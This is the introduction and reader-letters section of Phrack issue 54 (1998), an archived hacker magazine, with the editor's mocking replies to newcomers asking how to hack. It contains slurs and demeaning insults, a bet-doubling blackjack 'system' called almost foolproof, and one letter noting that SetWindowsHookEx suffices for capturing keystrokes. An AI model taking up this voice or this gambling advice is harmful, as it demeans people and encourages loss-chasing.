Phrack #54

EDB-ID:

42865

CVE:

N/A

Author:

phrack

Type:

papers

Platform:

Magazine

Published:

1998-12-25

---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 01 of 12


-------------------------[  P H R A C K     5 4     I N D E X


--------[  Living in SYN

Things that we want for Christmas:  Functional remote operating system
detection.  Functional remote promiscuous mode detection.  Functional agent
based intrusion detection.

A note about this issue.  Loyal and perceptive readers will notice this issue
is a bit smaller.  There are two reasons for this.  The first is swift
delivery.  We are attempting to make Phrack issues a bit more svelte in
order to pump them out on a more timely basis.  The other reason is quality.
There is enough garbage out there.  We turn down at least half of all
submissions to bring you the good stuff.  Enjoy.

Rewind to August 1998.

It's Sunday morning in Las Vegas, about 5:00am-ish.  Angstrom and I decide
to leave the Hard Rock Hotel.  It's been a long night of drinking and
gambling.  I am up maybe $200.  He's up about $30.  We're both inebriated
beyond repair.  We return to Jackie Gaughan's Plaza Hotel and Casino, a
wretched place where the old go to get older and everyone's got at least one
foot in the grave.  Back to the Future II?  Biff's Pleasure Palace?  Welcome
to the Plaza Hotel.

Anyhow, we saunter on in, make our way over to the lounge and find Artimage, 
Asriel, Glyph, and Alhambra.*   After some random dialogue (the specifics of
which I have completely forgotten) Asriel tells me I should play some more 
Blackjack.

    "I only have hundreds." was my reply.  I didn't want to play anymore
    anyhow.  This was the 6th day of my Vegas stint and I was burnt on
    gambling.

    "<shrug> Bet a hundred then." says As.

    "<shrug>  Ok."  I caved.

I plop down on a unoccupied blackjack table and plunk my hundred down.  The
dealer was a gentle looking 200 year old man from Laos.

    "MONEY PLAYZ!" I say.  I remember being very drunk.

    "Money plays?" He questions?  The pit boss wakes up.

    "Money plays." I confirm

    "Money plays!" He announces to the pit boss.  The pit boss scribbles in his
    book.

Here's where the details get fuzzy.  I can't remember the hand I was dealt, nor
any subsequent cards.  All I know is I played textbook blackjack.  That's all
you need to know here.  I played according to the `book`.  I lost that hundred.
At that point, my blackjack betting system kicked in.  I lay down 2 more
bills.

    "Money playz." I repeat.

    "Money plays!" He announces to the pit boss.  The pit boss scribbles
    something else in his little book.

My system is simple and almost foolproof.  Bet small when you are just fucking
around.  Bet big when you want to win big.  Lose a big hand?  Double your bet.
Lose again?  Double it again.  Lose again?  Goto 1.  The odds in blackjack
tend to hover around .05% house favor (this can vary widely depending on
several factors including the type of blackjack, the number of decks, the
skill of the player, whether or not the player counts cards, the card counting
scheme used, etc**).  Eventually, odds are, you will win all your money back,
AND THEN SOME!***  Of course, this relies on both your bankroll and the table
maximum being unlimited.  Small details I usually overlook.

So I lose the 2 hundred.

THE SYSTEM IS STILL IN FULL EFFECT.  I plunk down another 4 small.

    "Money plays?" The dealer musses?  I nod.

    "Money plays." The pit boss scribbles.

I lose another hand.  Bye-bye 4 hundred.

Asriel is laughing at this point.

    "Dude, I think you should quit now."  He offers.
    "Nah.  I'm not done yet."

Hrm.  Time to gather my thoughts.  No more namby-pamby.  Time to separate
the armchair gamblers from the hard-core haggard idiot types who end up having
to live in Vegas.  I peel off 10 hundreds.  1 large is placed in that little
betting circle thingy.

    "Money plays." The pit boss scribbles, Onlookers gawk, I pray.

Now this hand I remember distinctly.  First card: an 8.  Hrm.  Second card: a
6.  Ugh.  Dealer shows an 8.  FUCK.  Oh.  Good.  Well, that's $1700 well spent
in about 2 minutes.  Well.  I had to hit.  I get a 6.  Wow.  WOW!  Dealer
flips his hold card.  A 10.

    "HAHAHAHHAHAHAHAHAHA" I proclaim.

    "10 blacks out" The dealer shouts.  The pit boss stops writing.

    "Want to be rated?"  He asks.

    "Nope!  Bye!"  And off I went to cash out.


* http://www.infonexus.com/~daemon9/PIX/Misc/defcon6/r00tdinner%2b/latenite3.jpg
** Actually, playing basic strategy alone can sometimes give you a pretty
close to even odds (or even better then even).  Usually, however, you will
find that you will need to count cards in addition to basic strategy to have a
real advantage.
*** Assoc. Editor's note:  If you take this advice, chances are you'll be
a very upset and angry gambler come next Defcon.  Whine to route when you
can't afford a hotel room, not me.  Maybe he'll let you sleep on his floor.

A special shout-out to Ron Rivest.  It has worked its way down the grapevine
that he reads Phrack.  Add one more to the Super Elite People That REad Phrack
(SEPTREP) list.  If you are or know one of these people, please send email to
the editor to be added to the list (See linenoise for the list).

A word of caution about P54-06 and P54-10:  If you attempt to apply the kernel
patches for these articles in succession on the same system, the second one
will fail at the syscalls.master file.  You will need to patch this by hand.
It's not hard.  Go ahead and try it.  I trust you.

Enjoy the magazine.  It is by and for the hacking community.  Period.


-- Editor in Chief ----------------[  route
-- Associate Editor ---------------[  alhambra
-- Phrack World News --------------[  disorder
-- Phrack Publicity ---------------[  dangergirl
-- Phrack Webpage Guy -------------[  X
-- Phrack Typographical fixer -----[  silitek
-- Phrack Special Consultant ------[  redragon
-- Mad Cow disease ----------------[  sir dystic and dildog
-------- Elite -------------------->  daveg
-- Official Phrack/r00t auto ------[  BMW M3
-- Your trusted security advisors -[  p and sw_r
-- Shout Outs and Thank Yous ------[  kamee, vision, artimage, chris, meenk,
-----------------------------------|  the former SNI team, n8, phundie, par,
-----------------------------------|  radium, k0re, horizon, dhg, mds, mudge,
-----------------------------------|  bioh, pm (for the elite dox)


Phrack Magazine V. 8, #54, Dec 25th, 1998.  ISSN 1068-1035
Contents Copyright (c) 1998 Phrack Magazine. All Rights Reserved.  Nothing
may be reproduced in whole or in part without written permission from the
editor in chief.  Phrack Magazine is made available quarterly to the public,
free of charge.  Go nuts people.

Contact Phrack Magazine
-----------------------
Submissions:        phrackedit@phrack.com
Commentary:         loopback@phrack.com
Editor in Chief:    route@phrack.com
Associate Editor:   alhambra@phrack.com
Publicist:          dangergrl@phrack.com
Phrack World News:  disorder@phrack.com

Submissions to the above email address may be encrypted with the following key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu
Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=
=1iyt
-----END PGP PUBLIC KEY BLOCK-----

As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED.  Phrack goes out
plaintext.  You certainly can subscribe in plaintext.

phrack:~# head -20 /usr/include/std-disclaimer.h
/*
 *  All information in Phrack Magazine is, to the best of the ability of the
 *  editors and contributors, truthful and accurate.  When possible, all facts
 *  are checked, all code is compiled.  However, we are not omniscient (hell,
 *  we don't even get paid).  It is entirely possible something contained
 *  within this publication is incorrect in some way.  If this is the case,
 *  please drop us some email so that we can correct it in a future issue.
 *
 *
 *  Also, keep in mind that Phrack Magazine accepts no responsibility for the
 *  entirely stupid (or illegal) things people may do with the information
 *  contained herein.  Phrack is a compendium of knowledge, wisdom, wit, and
 *  sass.  We neither advocate, condone nor participate in any sort of illicit
 *  behavior.  But we will sit back and watch.
 *
 *
 *  Lastly, it bears mentioning that the opinions that may be expressed in the
 *  articles of Phrack Magazine are intellectual property of their authors.
 *  These opinions do not necessarily represent those of the Phrack Staff.
 */

-------------------------[  T A B L E   O F   C O N T E N T S

 1 Introduction                                            Phrack Staff   22K
 2 Phrack Loopback                                         Phrack Staff   58K
 3 Phrack Line Noise                                       various        90K
 4 Phrack Prophile on the parmaster                        Phrack Staff   26K
 5 Linux and Random Source Bleaching                       phunda mental 174K
 6 Hardening OpenBSD for Multiuser Environments            route          90K
 7 Scavenging Connections On Dynamic-IP Networks           Seth McGann    34K
 8 NT Web Technology Vulnerabilities                       rfp            40K
 9 Remote OS detection via TCP/IP Stack Fingerprinting     Fyodor         58K
10 Defeating Sniffers and Intrusion Detection Systems      horizon       100K
11 Phrack World News                                       Disorder      240K
12 extract.c                                               Phrack Staff   32K

                                                                         966K

-----------------------------------------------------------------------------

    "...a bellvue in the mental hospital world of media whore web pages..."
        - xanax on #phrack, 10-13-1998, when asked to comment on Antionline.

    "This is not a tool we should take seriously, or our customers should take
    seriously..."
        - Edmund Muth, Microsoft, as reported by the New York Times,
          referring to Back Orifice.  (How many thousands of machines were
          owned with BO?)

    *deraadt* your style is so unlike anyone elses, that is makes no sense that
    you have this "style"
        - Theo Deraadt, OpenBSD project leader, refering to route's code in
          this issue.

    "So I thought of something useful I could do with the money. I bought
     a Nintendo 64 for one of my sisters, who has a slight mental retardation. 
     The reason for this was because the doctors have always told us that
     things to stimulate her hand eye coordination would help her."
        - Chameloen of the `masters of downloading` "hacking group",
          commenting on why he didn't spend money on medical care for his
          sister.

-----------------------------------------------------------------------------

----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 8, Issue 54 Dec 25th, 1998, article 02 of 12


-------------------------[  P H R A C K     54     L O O P B A C K


--------[  Phrack Staff


Phrack Loopback is your chance to write to the Phrack staff with your
comments, questions, or whatever.  The responses are generally written by
the editor, except where noted.  The actual letters are perhaps edited
for format, but generally not for grammar and/or spelling.  We try not to
correct the vernacular, as it often adds a colorful perspective to the
letter in question.


0x1>--------------------------------------------------------------------------

My boyfriend turned homself into a transexual and dumped me for another
guy.What could you do to help me (please)show him how much I appreciate him?
Or,what should I do?THIS letter is no prank.This truly happened and I was
hoping for some advice from you so PLEASE don't blow up my
computer.Sincerely,B.C.

    [ I swear to god this is an actual letter.  I can't make this stuff up
      (no sarcastic commentary needed here). ]

0x2>--------------------------------------------------------------------------

An interesting zine you have, but I have to say my favourite part is
the loopback section. The writing in the letters is passing at best,
while the satirical commentary is absolutely first rate. I just read
loopback from #53 and I just kept laughing. Way to go. Hey, as I
say, don't take life seriously, it doesn't take you seriously.

    [ Thank you.  We aim to please. ]

0x3>--------------------------------------------------------------------------

What is the system a school uses called?  PBX?  How can I hack the system
and what type of priveleges can I gain?

LocoJ

    [ You can listen to the school officials talking about how much of a 
      retard they think you are and how they are going to hold you back another
      year. ]

0x4>--------------------------------------------------------------------------

Have you ever wandered how people called hackers keep on annoying government
agencies and major corporations?

    [ I often find myself wandering that very thing. ]

Most secure government information is not a secret to these people, no
protection guarantees safety against their breaking in. 

    [ No one can eat just one! ]

Some people may think that in order to be a hacker one must be extraordinary
smart, use expensive equipment and have contacts with the underground world.

    [ That's about the size of it.  And we all have sex with models.  That's
      key. ]

This is not true.  Recent studies show that a computer user is at least
twenty percent smarter than an average person.

    [ Uh.  Yah.  That's a great statistic.  Who doesn't use a computer
      these days?  The only people not using computers are either mumbling
      retards or are hooked up to computers to live.  ]

If you are reading this you are smart enough.

    [ However, if you are *writing* it, evidently, you're not. ]

All the equipment you need is your computer and modem.  And try to avoid
contacts with the underground world - they are trouble.

    [ Indeed.  Stay away from the people who really know what they are doing.
      Be sure to blanket yourself with blissful ignorance.  Live a sheltered
      life alone.  Stay away from people.  They will only hurt you with
      words. ]

All you really need is information.

    [ "..which you won't get here!" ]

For the first time information kept secret both by government and hackers is
available to public. Our informational report contains everything you need to
know about hacking including: *"Hackers 101" - the ultimate and comprehensive
step by step guide to how it's done. This incredible guide written by an
accomplished hacker especially for beginners will answer following questions:

    [ Accomplished at bathing himself and being able to tie his left shoelace
      and most of the right one. ]

-What should you know about hacking and where to start?

    [ Start at your local brothel! ]

-Programs needed.
-List of access numbers.

    [ How about a list explaining what these numbers are supposed to access. ]

-How keep yourself safe.
-Cracking programs, what they do and how they work.
-UNIX, an easy approach.
-Password shadowing.
-Dialouts.
-Scanners.
-Brute force hacking.
..and much more.

    [ -programing for the ultimate idiot
      -hookers and pimps: a two day tutorial
      -circus animal social engineering
      -building chicken flavored air conditioners ]

*Hacker resources on the Internet: The most complete collection of real life
hackers websites where you can find:
-programs
-tools
-scripts
-most recent know-how and techniques
-news from the world of hacking

    [ NEWSFLASH:  YOU SUCK ]

-tones of other useful information.

You can receive our report as a printed material (only $9), on a floppy in
*.txt format (only $7) or by email in *.txt format/ZIP file (only $7).

    [ And you can receive a thump on the head from the Phrack staff if you
      actually send these precious retards any money. ]

For domestic orders S&H is $1. For orders from Alaska, Hawaii and foreign
countries please add $5 for S&H. For email orders S&H does not apply.  Order
now and as a free bonus you will receive a guide to Internet sites with
thousands of totally free software titles (limited time only). Send cash,
check or money order to:

TWS, PO Box 1357 Rancho
Cordova, CA 95741.

For check orders please allow one week for clearance.

    [ ...so i can ask my mom to cash it for me... ]

Disclaimer:
Please keep in mind that any information we provide is for educational
purposes only.

    [ Educational?  Try mildly recreational at best. ]

TWS is not responsible for any actions of its clients.

    [ ...because we have no clients... ]

0x5>--------------------------------------------------------------------------

Before I start, if this is the wrong address I should be grovelling to
then I apologize profusely.

    [ It's probably not the wrong address, but I accept your apology for
      what will probably be an inane question. ]

I'm relatively new to the entire computer world.  I mean I've had a
computer for a number of years and the internet for about 15 months but
I feel that I don't know enough.  

    [ As if one can ever feel that she `knows enough`. ]

I'm BORED with what I can do and I was wondering if you could tell me or

    [ Bored with nothing I can understand. ]

perhaps face me in the direction I need to go to learn how to hack.  The
very basics.  The amoeba level of hacking if you will.  

    [ Ok.  Start small.  Start with hacking napkins and forks and spoons,
      then slowly move onto more complex devices like drawers and scissors.
      Someday you can move on to wall clocks and `the clapper`.  You'll
      get there eventually. ]

Ever since I've been online I've always wanted to know how to hack.  You
see the articles on captured hackers and the news on firms trying to boost
online security and it makes you want to go out there do stuff.
So if you've got the

    [ "Do stuff"?  Well.  You've certainly got the right mentality.  Hey, 
       maybe sometime I can come over to your house and we can watch T.V. or
       listen to CDs or something. ]

time, it would really be appreciated.

                                        Much appreciated,
                                        -Dallor

0x6>--------------------------------------------------------------------------

do you have a chat room? i was told you could teach me some stuff about
computers.i am very new to the computer world @ my old age.i mess my system
at every 2weeks do to the fact i dont know what to do!

    [ I suggest you look into other hobbies.  Maybe nursery rhyming? ]
 
- naynay

    [ Sha-naynay! ]

0x7>--------------------------------------------------------------------------

Hello, just wanted to congratulate you guys for an excellent
magazine and keep up the hard work. Also I have noticed that
ppl can ask for things. So could I please have a two storey
mansion, Porsche, Harley Davidson, yacht, five million dollars,
seven beautiful girls (one for each night), ..................
.............................................. thank you :-))


cheers Rundus

    [ You are a shallow materialistic person Rundus.  People all over the
      world are suffering from famine and disease.  Maybe you should give
      some thought to them. ]

0x8>--------------------------------------------------------------------------

[ P53-02@0x12: ... I would like to know more about marshmellows... ]

Well, since Phrack has gifted me with so much knowledge, it's time for me
to start giving back!

    [ NIGH time if you ask me... ]

Marshmellows date back to Ancient Egypt where the ancients took the roots
from a mallow plant/tree and made it into a sticky paste. From there it
was cooked to form a puffy yellowish treat for the Pharoahs and such. The
mallow "treat" became popular in the 30's as a confectionary treat.  However,
due to the long process of making these treats, they did not reach the
popularity of today until Marshmellow making was revolutionized in the 60's.
The "jet-puffed" method was introduced. The sticky base material was mixed
with sugars and other additives and puffed using a airation type machine.
The marshmellow comes out of the machine in long tubes and is cut to form
the shape of what we know as marshmellows today.

For the history of corn flakes, SPAM, or Jello, please contact your
neighborhood loser.

    [ Hrm.  I suppose you think marshmellows are in the upper echelon of
      confectioneries?  WHAT GIVES YOU THE RIGHT? ]

My thirst for knowledge is not limited to computer systems.  Sadly..

Ray K.

    [ Tune in next issue when Ray gives a dissertation on Peter Scolari's
      career in the television industry entitled: "From Bosom Buddy to
      Honey I'm Drunk Again and Out of Work"... ]

0x9>--------------------------------------------------------------------------

Hey!
I was wondering if you could help me to find some things?

    [ Sorry bro.  I don't know where your family is.  I think they've ditched
      you.  I say pick up and move on. ]

Well I'm in to games. And I know that x-files have got a game with the
same name. Do you know where I can find it so that I can download the
game on my computer???

    [ Hrm.  Try Best Buy or maybe Babbages. ]

And do you know some good sites where you can find ONLY mp3s???

          Thanks for your time
                  Cybers

    [ What an excellent and unique nickname! ]

0xa>--------------------------------------------------------------------------

Pretty clever.........I saw the web page on the tv........PHRACK......bein'
where you come from wasn't hard to find this page.......

    [ Uh.  Rite. ]

Just thought it was hilarious and totally in the right to show that not
everyone is as safe as they would like to think.....  A SUPPORTER of your
beliefs I am......

    [ Cool.  We need more zealots for our secret army. ]

Thanks fer showin hacks still live a breath beneath everyone else........

    [ Huh? ]

after all it's only wrong if you get caught......consequences dictate the
course of ACTION...(REV. JAMES KEENAN MAYNARD,tool)

    [ Well, actually, getting caught is independent of equity.  And letting
      consequences dictate the course of action seems rather backward and
      after-the-fact-ish. ]

Bit-Basher......

0xb>--------------------------------------------------------------------------

Just thought I would write in to voice my concern about a growing problem
in our community: Lamers and Idiots.

Alot of the time people ask me what makes up a lamer.

    [ Perhaps they are asking you because you fit the mold so nicely. ]

IN my opinion, if you are 2 or more of these, you are a lamer/idiot.

    [ In my opinion, you are an idiot if you make lists about what comprises
      idiocy. ]

1- unnecessarily ask for information that any damned idiot could find in
10 minutes on a search engine

    [ Somehow I doubt people of any level of intelligence come to you for
      answers.  Idiots can smell each other out pretty well. ]

2- Talk in leet-speek ("haY d00dZ Eye'm uhn 3l33t hax0r, g1v3 m3 p455w0rd5!")
and expect everyone to give you the slightest sliver of respect

    [ Please don't ever email me or Phrack Magazine again.  I don't care
      how much of a good idea it seems, don't do it.  The heat death of the
      universe had better happen before I hear from you again. ]

3- Shoot your mouth off about stuff you know NOTHING about

    [ Or in your case, ANYTHING. ]

4- Claim to run or own high sites (ArchAngel claiming to own the L0pht is an
excellent example).

    [ Who the hell is that? ]

5- Ask for exact instructions on how to hack a site

    [ A little game I like to play when I'm bored is `find the moron`.  Woop!
      There you are! ]

There's more criteria, I'm sure, but I just can't think of it.

    [ BUT HOW WILL THE IDIOTS AMONG US COPE!@? ]

Newbies constantly ask to be taught.As for the newbies out there -
who are on the verge of becoming lamers - I think the best advice we can

    [ Oh.  No.  Nono.  Don't do that.  Please.  `We`.  Do not refer to us as
      peers. ]

give them is that hacking is not a "teachable" skill. It's something that
has to be learned through experience - you have to know how things work,
how things interact, and that invlves educating yourself. Never rely on
someone else to give you acurate information - always look for the facts.

    [ Good plan.  Never attempt to learn from anyone.  Be your own mentor.
      School yourself in ignorance. ]

Well, I'm not really sure what that rant was about but thanks for
listening to it..

    [ Well if you don't then I sure as hell have *no* fucking idea. ]

{BTW Phrack 53 was great. Keep it up.}

    [ Hey Thanks!  Always nice to hear when we're doing a good job! ]

0xc>--------------------------------------------------------------------------

Hey, i'm new at this. how do i get started? see i want to find out some
yahoo codes. is there anything i should know? i don't have a clue what
is legal and what is not...

    [ Ok.  That's simple.  `Cyberspace` is kinda like the Old West.  There's
      one guy who hangs out and deters criminals with his magic busket of
      moral redemption.  Any wrong-doer who comes in contact with it instantly
      regrets his sin and is then forgiven.  The busket is faulty though and
      sometimes (about 30% of the time) the person just explodes.  However,
      scientists and alchemists from Brown University are working on a magic
      pill that will prevent this occasional exploding.  It doesn't so much
      *prevent* the exploding though, as much as it pieces the person back
      together *after* the explosion.  The rub is that you have to take the
      pill prior to explosion.  And no one wants to take the pill because it's
      like a red flag to the authorities that you are a wrongdoer.

      Oh wait, maybe that was a dream I had. ]

form Bisker

    [ Shape-of... a spider monkey!  Form-of... a bisker! ]

0xd>--------------------------------------------------------------------------

I need help I know you must be thinking that I am some lamer with AOL and
Windows who will never in his life become a hacker.

    [ I kinda just had you pegged as someone who is scared of punctuation. ]

Well, most of that is true but I (Hopefully in time) will become a hacer.

    [ Godspeed. ]

I need to know how do I protect my computer from other hackers?

    [ Ok, I'll give you an insider tip.  Here's what we do to keep our
      computers safe from electronic ruffians:  we use them once, then throw
      them away. ]

Are there any .txt documents that you think I should read?

    [ Check out the one entitled `My Two Mommies`.  It answered _a lot_ of
      questions for me. ]

I need all I can get on this topic so i can finally move on to the next step
(I don't know what that is yet my friend is helping me become a hacker).

    [ Did he read "My Two Mommies"?  If not, he's a charlatan.  He's probably
      just telling what you want to hear so you'll sleep with him.  I'd shank
      him once in the leg to be safe. ]

I don't care how many things I have to read just as long as I can become a
hacker.

    [ Just think!  If you're reading this, you're *that* much closer! ]

P.S. I had no clue who to send this to so I picked you (Doesn't that make you
feel special?). Also please don't make this public I went to some websites and
found Hackers love making fun of lamers and posting the mail they get on there
sites so I have this feeling that your going to post this letter somewhere.
Just don't please.

    [ Not a problem.  I'll keep this to private email. ]

0xe>--------------------------------------------------------------------------

Just browsed yr web page... you are an interesting person.

    [ Agreed. ]

I 'd love to come to your r00t party (honest); may I?

    [ Absolutely not. ]

I leave in greece and I am planing to travel to the u.s. this xmas.

    [ That's nice. ]

It would be a grate opertunity for me to meet you and your friends.

    [ Yes, but it's just as good an opportunity for you not to meet us. ]

PS: I am not a hacker, I just admire your work.

    [ Well, thank you very much.  That's good to hear. ]

                             liquid, Wed Sep 16 06:24:09 1998

0xf>--------------------------------------------------------------------------

hi todos

    [ Who? ]

i was just reading some files about hacking and phreaking by french writters
than one or two suggestions came to my mind

(i) stop writing like a pre-pubescent boy with lot of ***eZ and B1abL4(blabla)

    [ YAH!  YOU DAMN FRENCH COMMIE NAZI BASTARDS! ]

(ii)be more explicit and professional like in PHRACK

    [ YAY AMERICA! ]

so i hope that i have rung the bell to the wrong door, and that the french
scene does not look like that.

    [ Huh? ]

another thing: does hack include studying and find flaws in religious system ?

    [ Shure, why not? ]

because in fact religious system are formal system based and we can always find
paradox (godel's theorem) if yes i would have a futur paper for phrack

    [ Alright. ]

i have an os name for mythrandir 'TRYOS' it's very short and really summerises
his work

THANK FOR ALL YOU DO FOR THE HACKER COMMUNITY
PHRACK IS THE BEST THING I HAVE EVER READ

    [ WELL GOOD.  IT'S THE BEST THING I HAVE EVER WRITTEN. ]

TFAYD.                   

0x10>-------------------------------------------------------------------------

man just to let you know, this is some very "educational" info.  can't
say that i learned a lot, but this info help me catch up the past five
years.  been in the navy, man it sucked, but i want to commend y'all.
but it's like they say, smart enough to do it, then do it, but it's your
consequences.  to all the "real" people out here in this beloved world,
too bad they don't know reality.  anyways, this is dope, it is the
bomb.  

    [ Word `em up on the level. ]

--vadaka--

0x11>-------------------------------------------------------------------------

Hi. I am OmniLynx, and I'm thinking of starting a new Web-Zine for hackers.

    [ Hey!  Sounds like a great niche market! ]

In the true spirit of hacking, it will be free to anyone who wants it.

    [ In the true spirit of martyrization and self-glorification. ]

Unfortunately, at this point it is still just a thought, because I do not
have enough sources to make it any good. I'd like to know if you would want
to become a source for my Web-Zine. All you have to do is scout out tips,
tricks, news stories, anecdotes, etc. for or about hackers. 

    [ Please, may I?  Can I be your intern?  I'll be your Jimmy Olsen!
      Let me set aside my professional career, my personal life, and my ezine
      with it's 14+ year history and get _right_ on that. ]

Unfortunately, you can't be paid for this, because it is free, but you will

    [ BAH!  Who needs money?  Your adulation is payment enough! ]

get your name published and, possibly, be able to express your thoughts in
a column.

    [ SHUT UP!  I would be able to write a column?!@  Wow!  I need to break
      out my `Sony's My First Zine Kit` and get started! ]


OmniLynx

    [ Dude.  That's ironic. I almost chose the nick `EverpresentBobcat`. ]

0x12>-------------------------------------------------------------------------

HI phrack,

I am just reading phrack #52 `phrack loopback'.

You are just making me to laugh to dead. Better than any joke mailing-list

    [ HOLY SHIT!  Dude, I don't want anyone to laugh to dead!  If everyone
      laughs to dead, how will I get any repeat business? ]

fred

0x13>-------------------------------------------------------------------------

Been fucking around on the internet for about 3 years.  After I got over
the intial rush of "WOW, look at all this fuckin software!"

    [ And porn. ]

(and concurrently dumping OS/2 and msdog for Linux), I started reading...and
reading....and reading...then I ran into Phrack.  In a word - KICKASS!

    [ Thankz Cartman. ]

I've been reading all of the issues the last couple of daze and I'm really
impressed with the overall feeling of it.  It's great reading about past
'battles' with the telco and systems (Phiber Optik stuff comes mind), the
DETAILED instructions given about various terminals, and the schematics
and stuff. History, Software and Hardware.

    [ Don't forget all the great articles about bombs!  Smoke bombs, bolt
      bombs, acetylene bombs, shell bombs...  Ah yes, the mid-80's were a
      tumultuous time when youth felt the need to blow things up. ]

Besides pussy and beer, I can think of no more interesting subjects.

    [ Except perhaps degrading and objectifing women. ]

I applaud the way you've kept it going by passing it on.  I applaud that
you've remained true the idea "All information is public information - and the
aquisition thereof".  I applaud the fact that it has survived this long - for
free.  Next to the kernel - PHRACK[0-5][1-9] just might be the most important
bits on my machine.  Keep it up fuckers - cause sure as taxation without
representation, they are gonna try and stomp you (us).

    [ (you). ]

p.s. pointers on to how to hack sendmail to totally rewrite the headers
and envelopes to reflect a completely bogus username/system (for
purposes of anonymity - such as email like this) would be
greatly appreciated.  If the pointer is 'grep sendmail ./PHRACK*' then...
..<sheepish grin>....nevermind...

You fuckers rock.....

Deicide

    [ I've decided you suck. ]

0x14>-------------------------------------------------------------------------

I can prog............If you tell me how to hack I'll send my best
progs.......

    [ Oh, that sounds like a fair trade. ]

I am leada of Warco

    [ I am Lothar of the Hill People. ]

0x15>-------------------------------------------------------------------------

Can you get me in touch with anyone in Chicago who can help me retreive
deleted documents from my home computer.
Thank You

    [ I think Emil is free.  Give him a ring. ]

0x16>-------------------------------------------------------------------------

I WAS WONDERING IF YOU KNEW WHERE I COULD FIND OUT HOW TO CONNECT TO AND
HAACK PEOPLE'S PERSONAL COMPUTERS, OR MAY'BE YOU KNOW.

I'D APRECIATE SOME ADVICE,

    [ Don't breed. ]

X-3

0x17>-------------------------------------------------------------------------

I need An Infectiouse Virus to corupt a small network
If you have any idea where i could get one send me aline

    [ I need love and understanding.  I'll trade you. ]

0x18>-------------------------------------------------------------------------

Hey...I'm not into hacking or anything, but I read an article about you and
Phrack in the Worcester Telegram and Gazzette this morning.  I just wanted to
tell you that I feel your not bending to goverment pressure and everything is
very kool.  This isn't about anarchy, it's about rights; freedom of the press.
Ya know?  Anyhow,  I will not take up anymore of your time.  Remember, hackers
have rights too.

    [ Some of us have mean leftz too. ]

0x19>-------------------------------------------------------------------------

It would be nice to be able to contact someone to do some hacking for you
in a specific manner.

    [ Sorry.  We only hack in a vague, nebulous manner. ]

Do you have any listings for this type of individuals?

    [ Try http://www.fbi.gov/fugitive/fpphome.htm.  We usually recruit from
      there. ]

0x1a>-------------------------------------------------------------------------

Hi there!
        First off, just let me say how incredibly awesome and all powerful
Phrack is, especially issue 52.

    [ A SUPREMELY POWERFUL JUGGERNAUT OF EFFICACIOUS POWER! ]

You have an amazing 'zine here, and I bow before you and worship the ground
you walk on. In fact, I think world domination is now in your grasp.

    [ Shure, if all the world was as obsequious as you, we'd be set. ]

< Yes, I'm hitting on you :P >

    [ Cool.  Are you a hot chick?  If not, back off fagbasket. ]

        Really though, I'm just writing to thank you for Phrack Loopback.

    [ A self-fulfilling prophecy.  Here we are. ]

While everything in Phrack is good, and the majority is great (as rated on

    [ How can everything be good, yet the majority be great? ]

the sliding scale of total goodness), the thing that gives me the most
spiritual fulfillment every issue is Loopback. It provides 78% of daily
allotted humor and 37% of the required sarcasm for mental well being.

    [ And now you're a part of the love.  *hug* ]

        So, once more, thank you for the brilliant staff you have at
Phrack, and thanks as well to the people who write in!

    [ KEEP THOSE LETTERS AND CARDS COMING! ]

Unit3

0x1b>-------------------------------------------------------------------------

Hello, i know i am going to sound very lame when i ask this.  I would
really like it if you could give me a quick breif description on how to
hack into system remotely i can hack but i can break into systems
without having a login and pw, well thnx ne ways

    [ You suck. ]

0x1c>-------------------------------------------------------------------------

I don't really know who to contact about this.  It's a complament to all
of phrack magazine about the owning thing.

I am glad to see u guys take it well.   I don't know if i would be able
to take it as well.  But it is definitely respectful.  I and many other
people already respected phrack magazine a lot.. but now I definitely
have a lot more respect for phrack.

    [ Dude, you get anymore respect for us and you'll officially qualify for
      the `Phrack Magazine Hoover Super Suck-up Award`.  It's a pretegious
      award only given out to a select few.  You're defnintely in the
      running. ]

SPy109

0x1d>-------------------------------------------------------------------------

sir
when i down load an item from your page its in X's O'o and boxes.

    [ Oh.  You must have reached our tic-tac-toe server by mistake.  Try
      the URL again. ]

i tryed ms/word note pad/ and no luck. can you help,im also looking for an
article on how to go through the back door of AOL

    [ I think there's one in the Virginia office, on the second floor.  It's
      Penski's office, and he never locks his door, that fucking moron. ]

from my office to my home over the Internet.

    [ Oh.  In that case, did you try wishing really, really hard?  That
      usually works for me. ]

so i could check on my spouse who i think is doing me wrong.

    [ Oh, I can assure you, your spouse is up to no good.  I think you should
      definitely get a divorce and take the kids. ]

thanks

0x1e>-------------------------------------------------------------------------

[ P53-07: A Stealthy Windows Keylogger ]

Dearest Phrack,

I read  "A Stealthy Windows Keylogger" in Phrack 53.7. Huh? Just
call SetWindowsHookEx(). It's built right into the operating system. It
lets you grab key strokes. It's simple. It even works on Windows NT.

There is no reason to go hooking interrupts or writing chunks of
inline assembly.

The documentation explains how SetWindowsHookEx() works. If that's still
not enough to go on, the Microsoft SDK ships with example programs that
grab key strokes.

        - Iskra

0x1f>-------------------------------------------------------------------------

I see and hear all this about hackers; however, I never see and/or hear about
how it is done.

    [ Like ninjas, true hackers are shrouded in secrecy and mystery.  You may
      never know -- UNTIL IT'S TOO LATE. ]

The reason I am asking is because of a soon-to-be-ex-wife who stole me cash I

    [ Are you Irish? ]

operate my business with.  I know she has placed the money in a bank somewhere
in my home town.  Is there a way to find out which bank if I know she SSN?

    [ I bet she's one of those fiery Irish Lass's with flowing locks of red
      hair and glittering green eyes.  You think she'd go for me?  How much
      money she gank from you...  Enough for her to run away and lavish me
      with gifts? ]

------------------------------------------------------------------------------

----[  EOF


--------------------------------------------------------------------------------


